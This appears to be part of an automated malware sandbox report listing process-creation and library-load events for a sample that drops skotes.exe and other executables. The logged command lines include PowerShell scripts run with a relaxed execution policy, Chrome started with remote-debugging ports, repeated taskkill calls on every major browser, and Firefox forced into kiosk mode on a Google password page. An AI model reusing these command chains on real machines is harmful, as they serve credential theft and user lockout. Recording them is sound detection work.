Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\AppData\Local\Temp\1008572041\vtF7qZo.ps1"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\AppData\Local\Temp\1008573041\6OMLg7r.ps1"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\AppData\Local\Temp\1008574041\DcDqduU.ps1"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2132 --field-trial-handle=2336,i,17663330087063727705,18440200283134138294,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe "C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe "C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe "C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe "C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe"
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe "C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe"
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2312 -parentBuildID 20230927232528 -prefsHandle 2256 -prefMapHandle 2224 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {fcf1a452-f26a-4fc9-9f15-0b7ffbed9b3e} 8064 "\\.\pipe\gecko-crash-server-pipe.8064" 1b3e1f6ad10 socket
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008578001\ef3d6a004b.exe "C:\Users\user\AppData\Local\Temp\1008578001\ef3d6a004b.exe"
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe "C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe"
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\AppData\Local\Temp\1008579041\x0xqqzB.ps1"
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1008578001\ef3d6a004b.exe "C:\Users\user\AppData\Local\Temp\1008578001\ef3d6a004b.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe "C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe"
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsJKEGIDGDGH.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\AppData\Local\Temp\1008570041\gok44.ps1"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2412 --field-trial-handle=2188,i,13522947928336970555,3590164361455550880,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsJKEGIDGDGH.exe "C:\Users\user\DocumentsJKEGIDGDGH.exe"	Jump to behavior
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe "C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\AppData\Local\Temp\1008569041\gok44.ps1"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\AppData\Local\Temp\1008570041\gok44.ps1"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\AppData\Local\Temp\1008571041\aZhXvFT.ps1"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\AppData\Local\Temp\1008572041\vtF7qZo.ps1"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\AppData\Local\Temp\1008573041\6OMLg7r.ps1"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\AppData\Local\Temp\1008574041\DcDqduU.ps1"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe "C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe "C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe "C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008578001\ef3d6a004b.exe "C:\Users\user\AppData\Local\Temp\1008578001\ef3d6a004b.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\AppData\Local\Temp\1008579041\x0xqqzB.ps1"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2132 --field-trial-handle=2336,i,17663330087063727705,18440200283134138294,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2312 -parentBuildID 20230927232528 -prefsHandle 2256 -prefMapHandle 2224 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {fcf1a452-f26a-4fc9-9f15-0b7ffbed9b3e} 8064 "\\.\pipe\gecko-crash-server-pipe.8064" 1b3e1f6ad10 socket
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	Section loaded: uxtheme.dll	Jump to behavior
